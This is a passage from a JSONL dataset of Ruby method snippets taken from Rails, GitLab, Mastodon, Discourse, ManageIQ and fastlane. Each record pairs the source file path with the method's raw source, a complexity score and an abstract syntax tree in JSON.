end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"with_omniauth_full_host\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"omniauth_config_full_host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OmniAuth\"]},\"config\"]},\"full_host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OmniAuth\"]},\"config\"]},\"full_host=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},\"base_url\"]}]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OmniAuth\"]},\"config\"]},\"full_host=\",{\"type\":\"lvar\",\"children\":[\"omniauth_config_full_host\"]}]}]}]}","id":"da225102-cf54-46a3-b14a-93e11d08867b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/2_secret_token.rb","start_line":121,"raw_source":"def backup_pathname\n @backup_pathname ||= Pathname(Settings.backup.path)\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"backup_pathname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@backup_pathname\"]},{\"type\":\"send\",\"children\":[null,\"Pathname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"backup\"]},\"path\"]}]}]}]}","id":"a91e5ee7-1af1-4f31-aebe-064629e6bd12"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/mysql2/dbconsole_test.rb","start_line":66,"raw_source":"def test_mysql_can_use_alternative_cli\n ActiveRecord.database_cli[:mysql] = \"mycli\"\n config = make_db_config(adapter: \"mysql2\", database: \"db\", database_cli: \"mycli\")\n\n assert_find_cmd_and_exec_called_with([\"mycli\", \"db\"]) do\n Mysql2Adapter.dbconsole(config)\n end\n ensure\n ActiveRecord.database_cli[:mysql] = %w[mysql mysql5]\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mysql_can_use_alternative_cli\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"database_cli\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mysql\"]},{\"type\":\"str\",\"children\":[\"mycli\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[null,\"make_db_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"mysql2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"db\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database_cli\"]},{\"type\":\"str\",\"children\":[\"mycli\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_find_cmd_and_exec_called_with\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mycli\"]},{\"type\":\"str\",\"children\":[\"db\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2Adapter\"]},\"dbconsole\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"database_cli\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mysql\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mysql\"]},{\"type\":\"str\",\"children\":[\"mysql5\"]}]}]}]}]}","id":"4f5c81dc-d8e5-46ba-9b3c-207713923b55"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/list_refs_sort.rb","start_line":27,"raw_source":"def direction\n return Gitaly::SortDirection::DESCENDING if match?('desc')\n\n Gitaly::SortDirection::ASCENDING\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"direction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"match?\",{\"type\":\"str\",\"children\":[\"desc\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"SortDirection\"]},\"DESCENDING\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"SortDirection\"]},\"ASCENDING\"]}]}]}","id":"4626cb68-4363-484f-9f1e-43bc18fe41f8"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/future_result.rb","start_line":135,"raw_source":"def pending?\n @pending && (!@session || @session.active?)\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"pending?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pending\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session\"]},\"active?\"]}]}]}]}]}","id":"45077ba0-fc04-4689-8913-bce0422a0651"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/monitor/quiesce.rb","start_line":50,"raw_source":"def quiesce_workers_loop_timeout?\n if Time.now.utc > (@quiesce_started_on + @quiesce_loop_timeout)\n _log.warn(\"Timed out after #{@quiesce_loop_timeout} seconds\")\n return true\n end\n false\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"quiesce_workers_loop_timeout?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\">\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quiesce_started_on\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@quiesce_loop_timeout\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Timed out after \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quiesce_loop_timeout\"]}]},{\"type\":\"str\",\"children\":[\" seconds\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"9ccf47d6-80f9-4ae2-9f83-dbe51cf5a84d"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/log_subscriber_test.rb","start_line":18,"raw_source":"def setup\n super\n @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new\n @old_logger = ActionView::LogSubscriber.logger\n ActionView::LogSubscriber.logger = @logger\n\n ActionView::LookupContext::DetailsKey.clear\n\n view_paths = ActionController::Base.view_paths\n\n lookup_context = ActionView::LookupContext.new(view_paths, {}, [\"test\"])\n @view = ActionView::Base.with_empty_template_cache.with_context(lookup_context)\n\n unless Rails.respond_to?(:root)\n @defined_root = true\n Rails.define_singleton_method(:root) { :defined_root } # Minitest `stub` expects the method to be defined.\n end\n end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"LogSubscriber\"]},\"TestHelper\"]},\"MockLogger\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"LogSubscriber\"]},\"logger\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"LogSubscriber\"]},\"logger=\",{\"type\":\"ivar\",\"children\":[\"@logger\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"LookupContext\"]},\"DetailsKey\"]},\"clear\"]},{\"type\":\"lvasgn\",\"children\":[\"view_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"view_paths\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lookup_context\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"LookupContext\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"view_paths\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@view\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"with_empty_template_cache\"]},\"with_context\",{\"type\":\"lvar\",\"children\":[\"lookup_context\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"root\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@defined_root\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"root\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"defined_root\"]}]}]}]}]}]}","id":"f5327a3a-b0f2-4994-8ed7-812cfa503b6b"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/roles_controller.rb","start_line":13,"raw_source":"def new\n authorize :user_role, :create?\n\n @role = UserRole.new\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"sym\",\"children\":[\"user_role\"]},{\"type\":\"sym\",\"children\":[\"create?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@role\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserRole\"]},\"new\"]}]}]}]}","id":"f40e57fd-7a1e-4fdb-982f-4eea772b73fc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/nuget/package_finder.rb","start_line":19,"raw_source":"def packages\n result = find_by_name\n find_by_version(result)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"packages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"find_by_name\"]}]},{\"type\":\"send\",\"children\":[null,\"find_by_version\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"4a83bc43-1d0e-48a3-bb79-360611bed083"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/base_resolver.rb","start_line":23,"raw_source":"def self.calls_gitaly?\n !!@calls_gitaly\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"calls_gitaly?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@calls_gitaly\"]},\"!\"]},\"!\"]}]}","id":"c07aa430-229f-456f-b046-e39e05679d65"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/parser/poll_parser.rb","start_line":10,"raw_source":"def valid?\n equals_or_includes?(@json['type'], 'Question') && items.is_a?(Array)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Question\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"items\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]}]}","id":"aff6f165-178a-45d5-a24f-0a24fed42f6b"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements.rb","start_line":172,"raw_source":"def data_source_sql(name = nil, type: nil)\n scope = quoted_scope(name, type: type)\n scope[:type] ||= \"'table','view'\"\n\n sql = +\"SELECT name FROM pragma_table_list WHERE schema <> 'temp'\"\n sql << \" AND name NOT IN ('sqlite_sequence', 'sqlite_schema')\"\n sql << \" AND name = #{scope[:name]}\" if scope[:name]\n sql << \" AND type IN (#{scope[:type]})\"\n sql\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"data_source_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[null,\"quoted_scope\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"'table','view'\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT name FROM pragma_table_list WHERE schema <> 'temp'\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"str\",\"children\":[\" AND name NOT IN ('sqlite_sequence', 'sqlite_schema')\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" AND name = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" AND type IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}","id":"97ace5ba-828f-4565-ad0f-880644969271"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods.rb","start_line":66,"raw_source":"def alias_attribute(new_name, old_name)\n super\n\n if @alias_attributes_mass_generated\n ActiveSupport::CodeGenerator.batch(generated_attribute_methods, __FILE__, __LINE__) do |code_generator|\n generate_alias_attribute_methods(code_generator, new_name, old_name)\n end\n end\n end","complexity_score":6.03,"ast_json":"{\"type\":\"def\",\"children\":[\"alias_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_name\"]},{\"type\":\"arg\",\"children\":[\"old_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@alias_attributes_mass_generated\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"CodeGenerator\"]},\"batch\",{\"type\":\"send\",\"children\":[null,\"generated_attribute_methods\"]},{\"type\":\"str\",\"children\":[\"(method)\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code_generator\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_alias_attribute_methods\",{\"type\":\"lvar\",\"children\":[\"code_generator\"]},{\"type\":\"lvar\",\"children\":[\"new_name\"]},{\"type\":\"lvar\",\"children\":[\"old_name\"]}]}]},null]}]}]}","id":"007309ba-57f8-4b8b-aac3-0792dfdfbc42"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/zentao/client_spec.rb","start_line":18,"raw_source":"def mock_fetch_issue_url(issue_id)\n client.send(:url, \"issues/#{issue_id}\")\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mock_fetch_issue_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send\",{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"issues/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]}]}]}","id":"d5242ba7-a9f6-4b8d-80ca-9f9cdde47c32"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/listable_topic_serializer.rb","start_line":181,"raw_source":"def theme_modifier_helper\n @theme_modifier_helper ||= ThemeModifierHelper.new(request: scope.request)\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"theme_modifier_helper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@theme_modifier_helper\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThemeModifierHelper\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"request\"]}]}]}]}]}]}","id":"0e6f705d-94b3-4220-9bf2-14d2ec04d3e5"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_rake_test.rb","start_line":99,"raw_source":"def test_db_create_with_error_prints_message\n ActiveRecord::Base.stub(:lease_connection, @connection) do\n ActiveRecord::Base.stub(:establish_connection, -> * { raise Exception }) do\n assert_raises(Exception) { ActiveRecord::Tasks::DatabaseTasks.create @configuration }\n assert_match \"Couldn't create '#{@configuration['database']}' database. Please check your configuration.\", $stderr.string\n end\n end\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_db_create_with_error_prints_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"lease_connection\"]},{\"type\":\"ivar\",\"children\":[\"@connection\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"establish_connection\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Exception\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"create\",{\"type\":\"ivar\",\"children\":[\"@configuration\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't create '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configuration\"]},\"[]\",{\"type\":\"str\",\"children\":[\"database\"]}]}]},{\"type\":\"str\",\"children\":[\"' database. Please check your configuration.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"string\"]}]}]}]}]}]}","id":"f4c95b4e-c1ef-4843-9d7a-ce5eda7da874"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/connect_api/testflight/testflight_stubbing.rb","start_line":56,"raw_source":"def stub_beta_feedbacks\n stub_request(:get, \"https://appstoreconnect.apple.com/iris/v1/betaFeedbacks\").\n to_return(status: 200, body: read_fixture_file('beta_feedbacks.json'), headers: { 'Content-Type' => 'application/json' })\n end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_beta_feedbacks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://appstoreconnect.apple.com/iris/v1/betaFeedbacks\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"read_fixture_file\",{\"type\":\"str\",\"children\":[\"beta_feedbacks.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}","id":"643ccdc0-d2ab-41b1-b66b-0b19c8aaede1"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/notifier.rb","start_line":406,"raw_source":"def notify_watching_users(except: [])\n Jobs.enqueue_in(\n 5.seconds,\n Jobs::Chat::NotifyWatching,\n { chat_message_id: @chat_message.id, except_user_ids: except, timestamp: @timestamp.to_s },\n )\n end","complexity_score":4.95,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_watching_users\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"except\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue_in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"Chat\"]},\"NotifyWatching\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chat_message\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except_user_ids\"]},{\"type\":\"lvar\",\"children\":[\"except\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp\"]},\"to_s\"]}]}]}]}]}","id":"48bcf0e0-0f1e-4b00-9395-edd784da7d11"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/service/steps_inspector.rb","start_line":192,"raw_source":"def initialize(result)\n @steps = result.__steps__.map { Step.for(_1, result).steps }.flatten\n @result = result\n end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@steps\",{\"type\":\"send\",\"children\":[{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"__steps__\"]},\"map\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Step\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"_1\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},\"steps\"]}]},\"flatten\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"324f5636-8d93-4a3e-a190-cba6cbcbfdde"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/date_time/calculations.rb","start_line":51,"raw_source":"def change(options)\n if new_nsec = options[:nsec]\n raise ArgumentError, \"Can't change both :nsec and :usec at the same time: #{options.inspect}\" if options[:usec]\n new_fraction = Rational(new_nsec, 1000000000)\n else\n new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))\n new_fraction = Rational(new_usec, 1000000)\n end\n\n raise ArgumentError, \"argument out of range\" if new_fraction >= 1\n\n ::DateTime.civil(\n options.fetch(:year, year),\n options.fetch(:month, month),\n options.fetch(:day, day),\n options.fetch(:hour, hour),\n options.fetch(:min, options[:hour] ? 0 : min),\n options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec) + new_fraction,\n options.fetch(:offset, offset),\n options.fetch(:start, start)\n )\n end","complexity_score":65.13,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_nsec\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nsec\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"usec\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Can't change both :nsec and :usec at the same time: 